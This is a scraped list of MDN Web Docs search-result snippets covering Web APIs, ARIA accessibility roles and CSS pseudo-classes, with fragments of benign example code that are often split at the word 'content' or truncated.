function startup() { var el = document.getelementbyid("canvas"); el.addeventlistener("touchstart", handlestart, false); el.addeventlistener("touchend", handleend, false); el.addeventlistener("touchcancel", handlecancel, false); el.addeventlistener("touchmove", handlemove, false); } document.addeventlistener("dom
contentloaded", startup); this simply sets up all the event listeners for our <canvas> element so we can handle the touch events as they occur.
URL API - Web APIs
the url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms'
contents as a set of key/value pairs.
VRStageParameters - Web APIs
examples var info = document.queryselector('p'); var vrdisplay; navigator.getvrdisplays().then(function(displays) { vrdisplay = displays[0]; var stageparams = vrdisplay.stageparameters; // stageparams is a vrstageparameters object if(stageparams === null) { info.text
content = 'your vr hardware does not support room-scale experiences.' } else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stageparams.sittingtostandingtransform + '<br>play area width (m): ' + stageparams.sizex + '<br>play area depth (m): ' + stageparams.sizey } }); specifications ...
VideoTrack.kind - Web APIs
syntax var trackkind = videotrack.kind; value a domstring specifying the type of
content the media represents.
WebGLBuffer - Web APIs
description the webglbuffer object does not define any methods or properties of its own and its
content is not directly accessible.
WebGLFramebuffer - Web APIs
description the webglframebuffer object does not define any methods or properties of its own and its
content is not directly accessible.
WebGLRenderbuffer - Web APIs
description the webglrenderbuffer object does not define any methods or properties of its own and its
content is not directly accessible.
WebGLTexture - Web APIs
description the webgltexture object does not define any methods or properties of its own and its
content is not directly accessible.
WebGLUniformLocation - Web APIs
description the webgluniformlocation object does not define any methods or properties of its own and its
content is not directly accessible.
High-level guides - Web APIs
the high-level guides listed below introduce webrtc technology from a top-down perspective, describing the overall architecture, the life cycle of a webrtc connection, and basic security and technological issues you might run into as you explore and build web
content or apps using the webrtc api.
Web Video Text Tracks Format (WebVTT) - Web APIs
00:00:05.000 --> 00:00:10.000 00:00:05.000 --> 00:00:10.000 line:63% position:72% align:start 00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start 00:00:05.000 --> 00:00:10.000 vertical:rt line:-1 align:end cue payload the payload is where the main information or
content is located.
Using bounded reference spaces - Web APIs
however, the floor level will be simulated by choosing and emulating the floor level and shifting the view upward by a fixed amount in order to ensure that the scene's
contents render in the right place.
Inputs and input sources - Web APIs
let inputsourcelist = xrsession.inputsources; due to the fact that the
contents of the xrinputsource objects representing each input source in the list are read-only, changes to these inputs are made by the webxr system by deleting the source's record and adding a new one to replace it.
WebXR Device API - Web APIs
foundations and basics fundamentals of webxr before diving into the details of how to create
content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
Web Workers API - Web APIs
workerglobalscope represents the generic scope of any worker (doing the same job as window does for normal web
content).
Window.alert() - Web APIs
the window.alert() method displays an alert dialog with the optional specified
content and an ok button.
Window: blur event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.text
content = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.text
content = 'this document has focus.
Window.close() - Web APIs
note also that close() has no effect when called on window objects returned by htmliframeelement.
contentwindow.
Window.console - Web APIs
console.log("an error occurred while loading the
content"); the next example logs an object to the console, with the object's fields expandable using disclosure widgets: console.dir(someobject); see usage in console for more thorough examples.
Window.customElements - Web APIs
ement, e.g.: let customelementregistry = window.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') .
content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples.
Window.find() - Web APIs
" + window.find(text)); } html <p>apples, bananas, and oranges.</p> <button type="button" onclick='findstring("apples")'>search for apples</button> <button type="button" onclick='findstring("banana")'>search for banana</button> <button type="button" onclick='findstring("orange")'>search for orange</button> result notes in some browsers, window.find() selects (highlights) the found
content on the site.
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.text
content = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.text
content = 'this document has focus.
Window.frames - Web APIs
each item in the window.frames pseudo-array represents the window object corresponding to the given <frame>'s or <iframe>'s
content, not the (i)frame dom element (i.e., window.frames[0] is the same thing as document.getelementsbytagname("iframe")[0].
contentwindow).
Window.getDefaultComputedStyle() - Web APIs
<style> h3:after {
content: ' rocks!'; } </style> <h3>generated
content</h3> <script> var h3 = document.queryselector('h3'), result = getdefaultcomputedstyle(h3, ':after').
content; console.log('the generated
content is: ', result); // returns 'none' </script> notes the returned value is, in certain known cases, expressly incorrect by deliberate intent.
Window.getSelection() - Web APIs
it is worth noting that currently getselection() doesn't work on the
content of <textarea> and <input> elements in firefox, edge (legacy) and internet explorer.
Window: resize event - Web APIs
<p>resize the browser window to fire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function reportwindowsize() { heightoutput.text
content = window.innerheight; widthoutput.text
content = window.innerwidth; } window.onresize = reportwindowsize; addeventlistener equivalent you could set up the event handler using the addeventlistener() method: window.addeventlistener('resize', reportwindowsize); specifications specification status document object model (dom) level 3 events specificationthe definition of ...
Window.screenLeft - Web APIs
eft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.text
content = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.screenTop - Web APIs
eft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.text
content = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.screenX - Web APIs
eft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.text
content = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); these work in exactly the same way as screenx/screeny.
Window.screenY - Web APIs
eft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.text
content = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); these work in exactly the same way as screenx/screeny.
Window.scrollX - Web APIs
syntax var x = window.scrollx; value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled horizontally from the origin, where a positive value means the
content is scrolled to the left.
Window.scrollY - Web APIs
syntax var y = window.scrolly value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled vertically from the origin, where a positive value means the
content is scrolled to upward.
Window.speechSynthesis - Web APIs
var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.text
content += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevo...
Window: unload event - Web APIs
tml> <html> <head> <title>parent frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <iframe src="child-frame.html"></iframe> </body> </html> below, the
content of child-frame.html: <!doctype html> <html> <head> <title>child frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); }); </script> </head> <body> ☻ </body> </html> wh...
WindowEventHandlers.onafterprint - Web APIs
the beforeprint and afterprint events allow pages to change their
content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
WindowEventHandlers.onbeforeprint - Web APIs
the beforeprint and afterprint events allow pages to change their
content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
examples self.queuemicrotask(() => { // function
contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new ...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
} function stoptextcolor() { clearinterval(nintervid); } </script> </head> <body onload="changecolor();"> <div id="my_box"> <p>hello world</p> </div> <button onclick="stoptextcolor();">stop</button> </body> </html> example 3: typewriter simulation the following example simulates typewriter by first clearing and then slowly typing
content into the nodelist that matches a specified group of selectors.
Worker.onmessage - Web APIs
var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); } in the worker.js script, an onmessage handler is used to the handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in t...
WorkerGlobalScope.dump() - Web APIs
for example, on mac os x you'd run it using something like this (assuming you are inside the applications folder): ./firefox.app/
contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref.
WorkerGlobalScope - Web APIs
for example, you could import another script into the worker and print out the
contents of the worker scope's navigator object using the following two lines: importscripts('foo.js'); console.log(navigator); since the global scope of the worker script is effectively the global scope of the worker you are running (dedicatedworkerglobalscope or whatever) and all worker global scopes inherit methods, properties, etc.
WritableStream.getWriter() - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
WritableStream - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
WritableStreamDefaultWriter.close() - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
WritableStreamDefaultWriter.write() - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
WritableStreamDefaultWriter - Web APIs
1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", ...
XDomainRequest.onprogress - Web APIs
this method is called periodically as an event handler for progress events on xdomainrequests, so that code can monitor progress while loading
content.
XMLDocument.async - Web APIs
(it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml
contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml
contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
HTML in XMLHttpRequest - Web APIs
view on jsfiddle character encoding if the character encoding is declared in the http
content-type header, that character encoding is used.
XMLHttpRequest.abort() - Web APIs
return value undefined example this example begins loading
content from the mdn home page, then due to some condition, aborts the transfer by calling abort().
XMLHttpRequest.responseXML - Web APIs
if the server doesn't specify the
content-type as "text/xml" or "application/xml", you can use xmlhttprequest.overridemimetype() to parse it as xml anyway.
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fetching
content and the load event is received by this object.
XPathEvaluator.createExpression() - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.createexpression()' in that specification.
XPathEvaluator.evaluate() - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
XPathEvaluator - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator' in that specification.
XPathExpression.evaluate() - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression.evaluate()' in that specification.
XPathExpression - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression' in that specification.
XPathResult.booleanValue - Web APIs
html <div>xpath example</div> <p>text is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").text
content = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification.
XPathResult.invalidIteratorState - Web APIs
html <div>xpath example</div> <p>iterator state: <output></output></p> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); // invalidates the iterator state document.queryselector("div").remove(); document.queryselector("output").text
content = result.invaliditeratorstate ?
XPathResult.iterateNext() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").text
content = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.iteratenext()' in that specification.
XPathResult.numberValue - Web APIs
html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").text
content = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
XPathResult.resultType - Web APIs
html <div>xpath example</div> <div>is xpath result a node set: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").text
content = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.resulttype' in that specification.
XPathResult.singleNodeValue - Web APIs
html <div>xpath example</div> <div>tag name of the element having the text
content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").text
content = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath...
XPathResult.snapshotItem() - Web APIs
le</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").text
content = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotitem()' in that specification.
XPathResult.snapshotLength - Web APIs
html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").text
content = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
XPathResult.stringValue - Web APIs
html <div>xpath example</div> <div>text
content of the <div> above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").text
content = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of ...
XRRenderState - Web APIs
these properties include the range of distances from the viewer within which
content should be rendered, the vertical field of view (for inline presentations), and a reference to the xrwebgllayer being used as the target for rendering the scene prior to it being presented on the xr device's display or displays.
XRSystem: isSessionSupported() - Web APIs
this string must be one of inline (to present the webxr
content inline within the context of an html document) or immersive-vr for a fully-immersive virtual experience.
XRView - Web APIs
this value is used to ensure that any
content which is pre-rendered for presenting to a specific eye is distributed or positioned correctly.
XRViewport.height - Web APIs
along with width and the origin point given by x and y, this defines the area within which rendered
content will be drawn.
XRViewport.x - Web APIs
the read-only xrviewport interface's x property indicates the offset from the left edge of the destination surface (typically a xrwebgllayer to the left edge of the viewport within the surface into which webxr
content is to be rendered.
XRViewport.y - Web APIs
the read-only xrviewport interface's y property indicates the offset from the bottom edge of the destination surface (typically a xrwebgllayer to the bottom edge of the viewport within the surface into which webxr
content is to be rendered.
XRWebGLLayer() - Web APIs
ignoredepthvalues optional a boolean value which indicates whether or not to ignore the
contents of the depth buffer while compositing the scene.
XRWebGLLayer.antialias - Web APIs
when the webxr compositor is enabled, this value corresponds to the value of the antialias property on the object returned by the webgl context's get
contentattributes() method.
XRWebGLLayer.ignoreDepthValues - Web APIs
examples if the web application which is using wexr is rendering its
content without using a depth buffer—or if the depth buffer's
contents are invalid—you should disable the use of the depth buffer for webxr rendering by setting ignoredepthvalues to true when creating the xrwebgllayer.
XRWebGLLayerInit - Web APIs
ignoredepthvalues optional a boolean value which indicates whether or not to ignore the
contents of the depth buffer while compositing the scene.
XSL Transformations in Mozilla FAQ - Web APIs
original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this
content are © 1998–2006 by individual mozilla.org contributors;
content available under a creative commons license ...
XSLTProcessor - Web APIs
properties non-web-exposed properties the following properties are [chromeonly] and not exposed to web
content: [chromeonly] attribute unsigned long xsltprocessor.flags flags that tweak the behavior of the processor.
Using the aria-activedescendant attribute - Accessibility
possible effects on user agents and assistive technology the user agent, which is any software that retrieves, renders and facilitates end user interaction with web
content, uses the aria-activedescendant property to inform the assistive technology about the active child which has focus.
Using the aria-invalid attribute - Accessibility
low shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var
content = document.createtextnode(msg); newalert.appendchild(
content); document.body.appendchild(newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-invalid attribute) notes when aria-invalid is used in conjunction with the aria-required attribute, aria-invalid should not be set to true before the ...
Using ARIA: Roles, states, and properties - Accessibility
radiogroup (see radio role) tablist (including tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary
contentinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselecta...
ARIA: search role - Accessibility
<form id="page-search" role="search" aria-label="on this page"> <!-- search input --> </form> repeated landmarks if a search landmark role in a document is repeated in a document, and both landmarks have identical
content, use the same label for each landmark.
ARIA: Suggestion role - Accessibility
examples when you’ve got a
content change that involves an insertion and a deletion, there is no way for a screenreader user to work out if the two are related or not.
ARIA: button role - Accessibility
the accessible name is either the
content of the element or the value of an aria-label or element referenced by an aria-labelledby attribute, or description, if included.
ARIA: checkbox role - Accessibility
html <span role="checkbox" id="chkpref" aria-checked="false" onclick="changecheckbox()" onkeypress="changecheckbox()" tabindex="0" aria-labelledby="chk1-label"></span> <label id="chk1-label" onclick="changecheckbox()" onkeypress="changecheckbox()">remember my preferences</label> css [role="checkbox"] { padding:5px; } [aria-checked="true"]::before {
content: "[x]"; } [aria-checked="false"]::before {
content: "[ ]"; } javascript function changecheckbox(event) { let item = document.getelementbyid('chkpref'); switch(item.getattribute('aria-checked')) { case "true": item.setattribute('aria-checked', "false"); break; case "false": item.setattribute('aria-checked', "true"); bre...
Alerts - Accessibility
if invalid, the function does two things: it sets the element’s aria-invalid attribute to “true”, which will indicate to screen readers that there is invalid
content in here.
Forms - Accessibility
article on form validation and aria (retrieved on archive.org), covering much of the same
content.
-webkit-text-fill-color - CSS: Cascading Style Sheets
/* <color> values */ -webkit-text-fill-color: red; -webkit-text-fill-color: #000000; -webkit-text-fill-color: rgb(100, 200, 0); /* global values */ -webkit-text-fill-color: inherit; -webkit-text-fill-color: initial; -webkit-text-fill-color: unset; syntax values <color> the foreground fill color of the element's text
content.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css
content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html
content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::backdrop - CSS: Cascading Style Sheets
/* backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::backdrop { background: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the viewport which is always rendered last (and therefore on top) before drawing the viewport's
contents to the screen.
::marker - CSS: Cascading Style Sheets
::marker { color: blue; font-size: 1.2em; } allowable properties only certain css properties can be used in a rule with ::marker as a selector: all font properties the white-space property color text-combine-upright, unicode-bidi and direction properties the
content property all animation and transition properties the specification states that additional css properties may be supported in future.
::part() - CSS: Cascading Style Sheets
0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.
content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
::spelling-error - CSS: Cascading Style Sheets
html <p
contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
:blank - CSS: Cascading Style Sheets
syntax :blank examples simple :blank example in eventual supporting browsers, the :blank pseudo-class will enable developers to highlight in some way input controls that are not required, but still have no
content filled in, perhaps as a reminder to users.
:defined - CSS: Cascading Style Sheets
in this demo we define a very simple trivial custom element: customelements.define('simple-custom', class extends htmlelement { constructor() { super(); let divelem = document.createelement('div'); divelem.text
content = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinct...
:disabled - CSS: Cascading Style Sheets
abel> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('dom
contentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems...
:fullscreen - CSS: Cascading Style Sheets
syntax :fullscreen usage notes the :fullscreen pseudo-class lets you configure your stylesheets to automatically adjust the size, style, or layout of
content when elements switch back and forth between full-screen and traditional presentations.
:in-range - CSS: Cascading Style Sheets
er="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after {
content: 'okay.'; } input:out-of-range + label::after {
content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specification.
:optional - CSS: Cascading Style Sheets
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid
content to ensure a successful form submission.
:out-of-range - CSS: Cascading Style Sheets
